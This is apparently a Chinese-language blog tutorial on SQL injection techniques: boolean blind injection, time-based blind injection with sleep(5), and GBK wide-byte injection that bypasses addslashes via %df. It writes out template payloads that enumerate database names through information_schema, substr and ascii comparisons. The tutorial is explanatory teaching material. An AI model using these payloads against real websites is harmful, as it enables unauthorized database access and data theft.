布尔盲注
1.布尔盲注利用前提
页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入
缺点:速度太慢,消耗大量时间
布尔盲注思维导图:
布尔盲注常用语句:
substr(string,num start,num length)
string 为字符串
string 为字符串
length 为长度
ascii( )函数
作用:返回字符串str的字符ASCII码值。如果str是空字符串,返回0.如果string是 NULL,返回NULL。
布尔盲注利用过程
布尔盲注过程代码模板:
(select count(schema_name) from information_schema.sc hemata)> n
n为数据库个数,当数据库个数大于n页面显示正常
(select length(schema_name) from information_schema.s chemata limit 0,1)> n
该语句判断数据库内第一个数据库名有多少字符,大于n则页面显示正常
(select ascii(substr((select schema_name from informa tion_schema.schemata limit 0,1),1,1)))>105
ascii()将返回字符串的ascii值  
第一个1,表示截取字符串的起始位置
第二个1,表示截取字符串长度
该语句作用:判断第一个库第一个字符是什么
时间盲注
时间盲注利用前提条件:
页面上没有显示位,也没有输出SQL语句执行错误信息。 正 确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条 件之后,页面的返回速度明显慢了5秒。
时间盲注常用函数:
IF(判断语句,A,B)
如果判断语句为真,则返回A
为假则返回B
一般和布尔盲注语句配合使用:
if(ascii(substr(“payload”, 1, 1))=104, sleep(5), 1)
如果第一个,号前的语句成立,则页面返回速度慢5秒
不成立,页面立即返回
时间盲注过程:
if((select count(schema_name) from information_schema. schemata)=9,sleep(5),1) //判断数据库个数
if((select length(schema_name) from information_schem a.schemata limit 0,1)=18,sleep(5),1)
if((select ascii(substr((select schema_name from info rmation_schema.schemata limit 0,1),1,1)))=105,sleep(5),1)//判断 第一个库第一个字符
宽字节注入
宽子节注入只有在,服务器页面代码中使用了gbk编码等汉字编码方式时才有效。
通常,当页面源代码中使用了 addslashes( )函数对用户输入的参数进行过滤,并且使用的是字符串查询的方式时。那么前面我们介绍的几种SQL注入方式就都不能用了
这种情况下如果页面使用的不是utf-8之类的编码方式,而用的是汉字编码方式gbk等,我们就可以使用宽子节注入。
addslashes() 函数
函数返回在预定义字符之前添加反斜杠的字符串
预定义字符: 
单引号(') 
双引号(") 
反斜杠(\) 
NULL
宽字节注入原理
mysql_query(“SET NAMES ‘gbk’”,$conn)语句将数据库编码字符集修改为 GBK格式。此时,%df\‘对应的编码就是 %df%5c’,即汉字“ 運‘ ”,这样 单引号之前的转义符号“\”就被吃掉了,单引号就逃逸出来,从而转义失败
通常我们在做测试时,只要加上在预定义字符前%df 就可以了

SQL注入——布尔盲注,时间盲注,宽字节注入相关推荐

  1. SQL注入教程——(四)宽字节注入

    前言 在mysql中,用于转义(即在字符串中的符号前加上"\")的函数有addslashes,mysql_real_escape_string,mysql_escape_strin ...

  2. SQL注入-盲注-时间注入-报错注入-布尔盲注-DNSlog注入-宽字节注入-WAF绕过-SqlMap使用

    Sqli-labs的安装 1.安装WAMP http://www.wampserver.com/ WAMP是php + mysql + Apache环境集成工具 2.下载Sqli-labs https ...

  3. SQLi LABS Less-26 联合注入+报错注入+布尔盲注+时间盲注

    第26关是单引号字符型注入: 后台过滤了关键字( and  or ),注释(/*  #  --  /),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 目录 一.功能分析 二 ...

  4. SQLi LABS Less 25a 联合注入+布尔盲注+时间盲注

    第25a关是数值型注入: 后台过滤了关键字(and.or),可以双写绕过: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. SQLi-LABS 其余关卡,可以参考我的专栏:SQLi-LABS ...

  5. python实现sql宽字节注入+布尔盲注

    目录 一.注意点 二.代码 三.使用 1.获取 (简单方法) (复杂方法) 2.使用 四.测试 一.注意点 本文代码是对着pikachu漏洞靶场的宽字节注入关卡开发的,代码中的payload和参数都基 ...

  6. 盲注、报错注入、宽字节注入、堆叠注入学习笔记

    文章目录 一.盲注 二.报错注入 什么是报错注入 报错注入原理 报错注入的场景 常用报错函数 1.updatexml()(是mysql对xml文档数据进行查询和修改的xpath函数) 2.extrac ...

  7. 渗透测试学习笔记(一)注入篇-盲注 二次注入 宽字节注入

    时间注入攻击 sleep() 利用函数if(条件,结果1,结果2) len id = 1 and  if(length(database())>1,sleep(5),1) 首先猜解表名称长度 s ...

  8. SQL--盲注和宽字节注入

    先知道这些函数有什么作用 length() 函数 返回字符串的长度 substr() 截取字符串 (语法:SUBSTR(str,pos,len);) ascii() 返回字符的ascii码 [将字符变 ...

  9. mysql宽字节注入_(宽字节注入) 手注+sqlmap

    进入题目后先简单尝试一下. 很明显的宽字节注入. 宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码. 手工注入 1.判断列数: http://chinalo ...

最新文章

  1. SAP WM 确认TO单的时候不能修改目的地STORAGE BIN
  2. vmware-tools安装指南
  3. Linux环境编程 用户层定时器使用一 timerfd的使用
  4. 样例问题 Example question for A4M33MPV course
  5. [.NET跨平台]Jexus独立版本的便利与过程中的一些坑
  6. 为什么祖国没有农历生日? | 今日最佳
  7. linux复制文件夹到另一个目录_Linux|一个命令行统计给定目录中有多少个子目录,学浪计划...
  8. PostgreSQL9.6+PostGIS2.3学习笔记(一)导入shp文件
  9. 基于 Linux 和 MiniGUI 的嵌入式系统软件开发指南(一)(转)
  10. 100分制的成绩转换(C语言)(查表法)
  11. anroid 滑动浏览
  12. 登录 Jed_SH ELK 默认端口
  13. WinSCP:支持与linux互传的windows端的图形化SCP
  14. SAP中销售项目开票的初步分析
  15. 详解matlab均衡算法equalize()
  16. 第七周项目2建立链队算法库
  17. 项目总结“遇见江小丽”
  18. JLINK烧写U-boot到NAND Flash中
  19. 【离散数学】数理逻辑 第一章 命题逻辑(7) 命题逻辑的推理理论
  20. SpringCloud Getway

热门文章

  1. Matlab 模拟行波动画
  2. Vue.js学习 第一次学习
  3. Swift - typealias
  4. MAC 系统下使用邮件客户端登录腾讯企业邮箱失败问题
  5. Spring高级技术梳理
  6. 关于深度学习中三维矩阵的理解(RGB图像的输入)
  7. 【每日英文】2021.8.9
  8. Leetcode 517. Super Washing Machines [Python]
  9. java 线程栈 公享变量_Java线程:线程栈模型与线程的变量
  10. 常用的电源防反接电路